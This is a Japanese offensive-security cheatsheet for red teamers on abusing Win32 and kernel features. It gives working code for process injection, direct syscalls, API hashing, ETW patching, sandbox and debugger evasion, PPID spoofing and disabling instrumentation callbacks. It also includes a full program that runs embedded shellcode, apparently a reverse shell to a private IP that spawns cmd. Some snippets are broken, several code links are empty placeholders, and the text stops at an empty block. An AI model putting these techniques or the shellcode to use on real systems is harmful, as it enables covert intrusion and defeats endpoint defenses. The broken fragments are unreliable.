
Win32 and Kernel abusing techniques for pentesters
ペンテスターとレッドチーマーのための Win32 およびカーネルを悪用するテクニック集。作者: @UVision と @RistBS
開発モード有効、どんな助けでも歓迎です :)
DOS_HEADER : PE の最初のヘッダー。MS DOS メッセージ ("This programm cannot be run in DOS mode....")、MZ ヘッダー (PE を識別するマジックバイト)、およびスタブコンテンツを含む。IMAGE_NT_HEADER : PE ファイルシグネチャ、File Header、Optionnal Header を含む。SECTION_TABLE : セクションヘッダーを含む。SECTIONS : ヘッダーではありませんが、知っておくと便利です。これらは PE のセクションです。詳細 : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
IAT と ILT の絶対アドレスを取得するための簡単な PE 解析:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (NT_HEADER の RVA)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]IMAGE_DATA_DIRECTORY.VirtualAddress (IMAGE_IMPORT_DIRECTORY の RVA)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (IMAGE_IMPORT_DESCRIPTOR の RVA)EAT は、PE によってエクスポートされるすべての関数を解決し、DLL も解決します。これは IMAGE_EXPORT_DIRECTORY 構造体で定義されています:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
EAT は「実際の」PE ではなく、DLL 内で定義されていることに注意してください(PE は、ロードされた DLL の EAT を使用して、使用したい関数へのポインタを解決します)。
### 関数アドレスを解決する
**関数アドレスを使用する**
何を待っているのですか?この関数を見つけてください!
**序数を使用する**
序数とは、`AddressOfFunctions` 配列内の対応する関数アドレスへの**インデックス位置**です。これを使用して、**関数の正しいアドレスを取得**できます。例は次のとおりです:
与えられた序数 3 を使って、対応するアドレス(Addr4)を見つけてみましょう。
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
探しているアドレスは(0 から数えて)3 番目の位置にあり、序数はこのアドレスの**インデックス**に対応しています。
**関数名を使用する**
AddressOfNames 配列の N 番目の要素は AddressOfNameOrdinals 配列の N 番目の要素に対応しています。つまり、名前を指定すれば対応する序数を取得でき、その番号を使って関数アドレスを特定できます。
## インポート アドレス テーブル (IAT)
- PE ローダーは、どの関数にどのアドレスが対応するのかを把握していません。そこで、IAT に助けてもらいましょう。
- IMAGE_IMPORT_DIRECTORY 構造体で定義されています:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
まとめとして、IATは、読み込まれたDLL(ntdll、kernel32...)からPEによってインポートされるいくつかの関数へのポインタを含むテーブルである。
詳細なコード例はこちら: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
PEによってインポートされるすべてのDLLは、それぞれ独自のILTを持つ。``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
インポートされたDLL内のすべての関数名が含まれています。
<br>
## SeDebug特権を有効にする
**SeDebug** 特権は、Windowsの特権リストすべての中で「最も欲しい」特権です。これにより、認可された任意のプロセスを「デバッグ」でき、```PROCESS_ALL_ACCESS``` 権限を持つハンドルを開くなど、いくつかの攻撃的な操作に変換できます。
ユーザーモードで有効にするには、次のような関数を使用する必要があります。```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
この関数は、現在のプロセスのトークンを開き、それをターゲットの特権に対応する SE_PRIVILEGE_ENABLED 特権に調整します。
このテクニックは数年前にはかなり高いバイパス成功率を誇っていました。しかし、EDRやその他のエンドポイントソリューションの増加により、ディスクへの書き込みは可能な限り避けるべきです。
メモリ領域にサイズ分のスペースを割り当てることで、生のバイナリファイルをメモリ内で実行できます:```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# コードインジェクション手法
## CreateRemoteThread インジェクション
ターゲットプロセス内の、事前に割り当てられたメモリ空間にシェルコードを書き込むだけです。(OPSECではありません)
> コードサンプル : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## プロセス・ハローイング
プロセス・ハローイングは、以下の複数のステップで構成されます :
- 対象プロセス("ハロー化"されたもの)をサスペンドモードで作成する : プロセスを変更するために必要です
- 対象プロセスをそのPEBからアンマップする(最初にこの構造体を宣言する必要があります)
- このプロセスに新しいexeのコンテンツを書き込む : ヘッダー + コンテンツ
- 再配置テーブルを解析して適用する
- プロセスをそのスレッド内で実行し続けさせる
- 楽しむ
> 完全なPOCはこちらで見つかります : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC キュー手法
プロセス内の利用可能なすべてのスレッドにシェルコードを注入し、その後 ```QueueUserAPC()``` 関数を使用してAPC呼び出しをキューに入れます。この手法は、侵害されたプロセス内にスレッドが多くない場合には信頼できません。
> コードサンプル : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## アーリーバード
APCキューインジェクションと似ていますが、ここではAPC呼び出しをサスペンド状態のプロセスに設定する必要があります。作成されたプロセスのメインスレッドはその後再開されます。この手法の主な利点は、実行中のプロセスにシェルコードを書き込むことを避けるため、AV/EDRに検出されにくいことです。
> コードサンプル : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## リフレクティブDLLインジェクション
「静的」DLLインジェクション(DLLファイルを使用する方法)と同様に、メモリ内でリフレクションさせることで、ほとんどのプロセスに自身のDLLを注入できます。今日ではかなりマークされている手法ですが、一部のAV/EDR製品を簡単にバイパスできるという利点があります。
まずメモリを割り当て、それを機能させるためにいくつかのリロケーション作業を行う必要があります。
この手法に関する有名なPoCは、stephenfewerによって公開されました : https://github.com/stephenfewer/ReflectiveDLLInjection
## DLLインジェクション
DLLに格納されたコードをリモートプロセスに注入できます。残念ながら、特に悪意のあるDLLがディスク上に存在する場合、EDR製品はそれを簡単に検出する可能性が高いです。
> コードサンプル : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## プロセス・ドッペルゲンギング
プロセス・ドッペルゲンギングは、数年前までは、独自のペイロードを巧妙な方法で起動する、ほとんど検出されない手法でした。BlackHat 2017でTal Liberman氏とEugene Kogan氏によって発表されました。彼らの素晴らしい研究成果をご覧ください : https://www.youtube.com/watch?v=Cch8dvp836w
これはプロセスハローイング技術の前の「中間」ステップです。PEイメージが実行される前に実際に上書きされるため、WindowsLoaderがプロセスハローイングを代行してくれます(すごくクールですよね?)。
Hasherezade氏はこの手法の素晴らしいPoCを作成しています。こちらで入手できます : https://github.com/hasherezade/process_doppelganging
## ファイバー
ファイバーは次のように定義できます ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```。この新しいスレッドタイプを通じて、メインプログラムがシェルコードを実行できるようにします。
> コードサンプル : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapViewコードインジェクション
この手法では、悪意のあるプロセス内のメモリセクションのビューを別のリモートプロセスと共有し、そのビューに格納されたシェルコードをリモートプロセスに実行させることができます。NtCreateSection/NtMapViewOfSectionを使用することで、WriteProcessMemory()やVirtualAlloc()のように厳重に監視されているAPIの使用を回避できます(ただし、NtMapViewOfSectionも監視される可能性があります)。
コード例 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## モジュール・ストンピング
この手法により、ビーコンはディスク上のモジュールによってバックアップされます。```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
モジュールストンピング(特にCobalt Strike向け)を検出するため、この手法のいくつかのIoCsを強調するスキャナー DetectCobaltStomp がリリースされましたが、Brute Ratel の 作者 は元の手法を 改善 することに成功しました。
元の関数アドレス(GetProcAddressで取得)を新しいものに置き換えるだけです。この手法はその作者によって詳しく説明されています: https://idov31.github.io/2022-01-28-function-stomping/
インラインフッキングは関数をフックする最も基本的な方法で、API呼び出しを自分の関数(ジャンプ)にリダイレクトするだけです。
コードサンプル: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
対応する関数アドレスを自分の関数へのポインタに変更することで、プログラムに自分のコードを実行させることができます。
これは以下のいくつかの手順で行えます:
コードサンプル: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
win32 APIへの呼び出しを隠すために使えるテクニックはいくつかあります。その一部を紹介します:
char[] 配列を使用して、関数名やDLL名を複数の文字に分割する```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> このトリックを ASCII 文字コード変換と組み合わせることもできます。
## 手動関数解決
kernel32、ntdll などのあらゆる関数へのポインタを手動で解決できます。
- まず、実際の関数ヘッダーに基づいて、関数のテンプレートを宣言します。```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> 実際の関数名を平文で渡さないように、このテクニックを何らかの文字列難読化と組み合わせることをためらわないでください。
## Win32 APIハッシュ化
API関数呼び出しは、何らかのハッシュアルゴリズム(最もよく使われるのはdjb2)でハッシュ化することで隠せます。一部の特殊な関数ではハッシュ衝突が発生する可能性があることに注意してください。そして、このテクニックをEAT内の直接アドレス解決と組み合わせて、リバーサーを泣かせてやりましょう :)
<br>
# EDR/エンドポイントバイパス
## 直接システムコール
ほとんどのEDR製品は、ユーザーモードでWin32 API呼び出しをフックします(PatchGuardがカーネルフックの利用可能性を大幅に低下させます)。これらのフックを回避するには、API関数に相当するNt()を直接呼び出すことができます。
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
この表で正しいsyscall番号を見つけてください : https://j00ru.vexillium.org/syscalls/nt/64/
NTSTATUSを使用して関数プロトタイプを構築してください```cpp
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);- NTアドレスを解決する```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
C++/C は、同等の高級言語よりも AV/EDR 製品に検知されることがよくあります。Go、Rust、またはその他の言語を使用して、最適なテンプレートを作成してください。
適切な関数呼び出しを適用するだけで、フックされた関数を(再)フックできます: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
フックを検出するには、まず LoadLibrary を使用して NTDLL のベースアドレスを取得し、次に PE ヘッダーを解析して EAT (IMAGE_EXPORT_DIRECTORY) とそのオフセットを特定します。これらには、重要な情報(エクスポートされた関数 + 名前)がすべて含まれています。エクスポートされた関数を反復処理しながら関数名とアドレスを解決し、次の if ステートメントを適用して関数を分類します。
> **⚠️** : いくつかの関数は誤検知(false positive)です。それらを検出することをお勧めします :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if 文では、functionName の最初の4バイトが mov r10, rcx; mov eax, ## と等しいかどうかを確認します。これは syscall スタブの先頭です。```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> コードサンプル: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## ETW のパッチ
Event Tracing for Windows (ETW) は、カーネルおよびユーザーモードプロセスのデバッグ/ロギングに使用できる低レベルのロギング API です。Windows 2000 で初めて実装されましたが、リアルタイムモニタリングが実際に利用できるようになったのは Windows XP 以降です。
ETW API は、Microsoft が提供するヘッダーファイルから利用できます : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
ペンテスト運用では、この機能をパッチすることで対策する必要があります。最も一般的な方法は、ETW のイベント書き込み関数 (```EtwEventWrite```) に任意の ```ret``` オペコードを書き込み、ログがどこかに書き込まれないようにすることです。
コードサンプル : //
## サンドボックス回避
サンドボックスは、プログラムを実際に実行する前に、いくつかの API 呼び出しやコードの他の部分をテストするために、AV/EDR によってよく使用されます。このツールを回避するには、いくつかのテクニックがあります。以下にその一部を示します :
- 待つ。本当に。`Sleep()` や `time.sleep()` または同等の関数は、実際のシェルコードを実行する前に数秒間待機するのに役立ちます。
- 大量のメモリを割り当ててみる(malloc など)。例えば 100000000 バイト。
- 実際にサンドボックス(VM)環境にいるかどうかを検出してみる。開いているプロセス、ファイル、その他の不審なものをチェックします。
- 偽の(機能しない)URL を解決してみる。多くの AV 製品は偽のページで応答します。
- `VirtualAllocExNuma()` のような、奇妙でほとんど使われない API 呼び出しを使用する。ほとんどのサンドボックスはこの種の呼び出しをエミュレートできません。```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
実際のAV回避テクニックではありませんが、REエンジニアによる解析を簡単に回避するには依然として有用です。デバッガを検出したり混乱させたりする方法は数多くありますが、その一部を以下に示します:
フラグ方式
デバッグフラグを確認するには、IsDebuggerPresent() (Win32) または直接呼び出しの NtQueryInformationProcess() (あまり文書化されていません) を使用できます。
ハンドル方式
CloseHandle() APIを使用して、無効な(存在しない)ハンドルを閉じようとします。デバッガは例外をキャッチしようとするため、これを簡単に検出できます:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }
**ASM 方式**
INT 3 呼び出し(ASM)を試してみてください : これはソフトウェアブレークポイントに相当し、デバッガをトリガーします。デバッガを検出する方法は他にもたくさんあり、それらの多くは https://anti-debug.checkpoint.com/ にまとめられています。
## VirtualProtect テクニック
`VirtualProtect()` を使ったいくつかのトリックにより、メモリ内でフラグが立てられるのを簡単に回避できます : `PAGE_EXECUTE_READWRITE` と `PAGE_READWRITE`(より疑われにくい)を切り替えて、お気に入りの AV をトリガーしないようにします。
## フレッシュコピーによるアンフック
"フックされた" ntdll を、ディスクから直接マッピングされた新しいものと置き換えることで、フックを回避します。
コードサンプル : // to add
## Hells Gate
ハードコードされた syscall の使用を避けるため、Hell's Gate(Hells Gates ?)は EAT を解析して syscall を動的に取得します(メモリのバイトを syscall オペコードと比較します)。元の Poc は、偉大な VX-Underground チームによって作成され、こちらで見つけることができます : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
別の例 : https://github.com/am0nsec/HellsGate
## Heavens Gate
Wow64 を使用して、32 ビットローダーに 64 ビットペイロードを注入します。Wow64 によりユーザーランドで捕まるのを回避できるため、一部の AV/EDR をバイパスするのに役立ちます。
このテクニックの最もよく知られたバージョンは MSF チームによって作成されました。彼らの素晴らしい成果はこちらをご覧ください : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
コールバック関数へのポインタを受け入れることができる CreateThreadPoolWait() を悪用することで、このプロシージャを通してシェルコードを実行できます。同様のテクニック(コールバック関数ポインタを使用するもの)の多くは、http://ropgadget.com/posts/abusing_win_functions.html で入手できます。
例 :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
リモートプロセス内のスレッドを停止(サスペンド)させ、そのRIPレジスタ(x86の場合はEIP)を独自のシェルコードアドレスに置き換えることで、プロセスをハイジャックします。
不審な/異常なプロセスが「正規の」または放置された親プロセスの下で開始されると、非常に疑わしいものになります。悪意のあるWordマクロがPowerShellプロセスを展開するケースを考えてみてください。奇妙ですよね?
PPID Spoofingは、生成したプロセスの親プロセスID(PPID)を変更できるようにすることで、これを回避できます。```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Process Instrumentation Callback
Process Instrumentation Callback は `ProcessInstrumentationCallback` フラグ (`0x40`) として定義され、セキュリティ製品が [潜在的な直接 syscall 呼び出しを検出](https://winternl.com/detecting-manual-syscalls-from-user-mode/) するために使用されます。コールバックを登録し、`syscall` 命令が実行可能イメージから来ているかどうか(NTDLL 由来ではないか)をチェックします。これを回避するには、プロセスの `Callback` を `NULL` に設定するだけです。```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
これは今もマイクロソフトによって「非公開」ですが、Alex Ionescu が ここ で文書化しており、Everdox も ここ で文書化しています。
インストルメンテーションをバイパスする完全なコードはこちら : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
HeapWalk でヒープを走査し、割り当てを暗号化します :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> 詳細はこちら: https://www.arashparsa.com/hook-heaps-and-live-free/
## スリープ難読化
スリープ難読化に関する多くのPoCが、さまざまなメカニズム(UM APC、TP など)で登場しました。ここでは、最も理解しやすいPoCである [Ekko](https://github.com/Cracked5pider/Ekko/) を例に取り上げます。
Ekko の ROP チェーンは非常に単純で、メモリの保護を `RW` に変更し、RC4 を実装する `SystemFunction032` で領域を暗号化し、`WaitForSingleObject` でスリープし、領域を復号化して、再び保護を `RWX` に切り替えます。最後に、`CreateTimerQueueTimer` ですべての `CONTEXT` をキューに登録します。
> それを検出するために [TickTock](https://github.com/WithSecureLabs/TickTock) や [Patriot](https://github.com/joe-desimone/patriot) のようなスキャナーがリリースされていますが、NTDLL 内の `NtContinue` へのトランポリンをガジェットで使用し、ROP チェーン内の `Rip` レジスタを置き換えることで回避できます。
<br>
# ドライバー プログラミングの基礎
## 一般的な概念
ドライバーは、ユーザーモードではなくカーネルモードでコードを実行するために使用されます。これは、AV/EDR によって設定されたすべてのユーザーモードフックと監視をバイパスする強力なテクニックです。また、カーネルコールバックやその他のカーネル監視をバイパスするためにも使用できます。
ドライバーのコードは、クラッシュが発生しないことを保証するために検証する必要があります(警告はすべてエラーとして扱うべきです)(ペンテスト中にBSODを発生させたくないですよね?)。
数年前、Microsoft は自社のオペレーティングシステムから未署名ドライバーを禁止することを決定しました。独自のドライバーを読み込む前にドライバー署名を無効にするか、ドライバー署名を無効にするために何らかの脆弱性(https://github.com/hmnthabit/CVE-2018-19320-LPE など)を利用する必要があります。
実際のペンテストでは、脆弱なドライバーを見つけて利用する必要があります:)
## システムサービスディスパッチテーブル(SSDT)
SSDT(System Service Dispatch Table)は、現在のインデックスによって対応する Nt 関数を解決できるテーブル(明白ですが)です。ユーザーモードの呼び出しが行われると、以下のように解決されます:
- ```OpenProcess```(Win32 API 関数が呼び出されます)
- ```NtOpenProcess```(ntdll.dll で解決されます)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll には、各 Nt 関数のシステムコール プロシージャが含まれています
SSDT は Service Descriptor Table として定義されています :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDTは、対応するアドレスを独自の関数に変更できるため、ルートキットにフックされることがよくありました(現在もありました)。**Patchguard**は、内部の脆弱性が発生した場合を除き、この可能性を無効化しました。
> 今日、多くのアンチウイルス製品もこのトリックを使用しています。おそらく悪意のあるハッカーと同じ手法を使っているのでしょう;)
## ドライバエントリ
ドライバエントリプロシージャは以下のように定義されています:```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
後でコードを追加して参照する場合を除き、DriverObject および RegistryPath パラメータに UNREFERENCED_PARAMETER() マクロを使用することが非常に重要です。```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## 入出力
クライアント側からドライバーと通信するための「割り込み」として、MajorFunction `IRP_MJ_CREATE` と `IRP_MJ_CLOSE` を使用します。```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
次に、CreateClose 関数を定義します :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
完全なサンプルコードはこちら : //
## ドライバーとの通信
ユーザーモードアプリケーションは、Microsoft Windows SDK ドキュメントに記載されている DeviceIoControl を呼び出すことで、IOCTL をドライバーに送信します。DeviceIoControl の呼び出しにより、I/O マネージャーが IRP_MJ_DEVICE_CONTROL 要求を作成し、最上位のドライバー (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) に送信します。
ユーザーランドアプリは、ドライバーと通信するために DeviceIoControl (ioapiset.h) 関数を使用する必要があります。
これは、その **Device** オブジェクトにさまざまな要求を送信するために使用されます。
簡単なサンプルコードはこちら : //todo
## ドライバーの署名
[一般的な概念](#general-concepts) セクションで説明したように、ドライバーは Windows システムにインストールする前に署名されている必要があります。それを回避するには、何らかのドライバーまたはカーネルエクスプロイトを使用する必要があるという事実にもかかわらず (例えば Gigabyte ドライバーの CVE)、手動で無効にすることもできます:```powershell
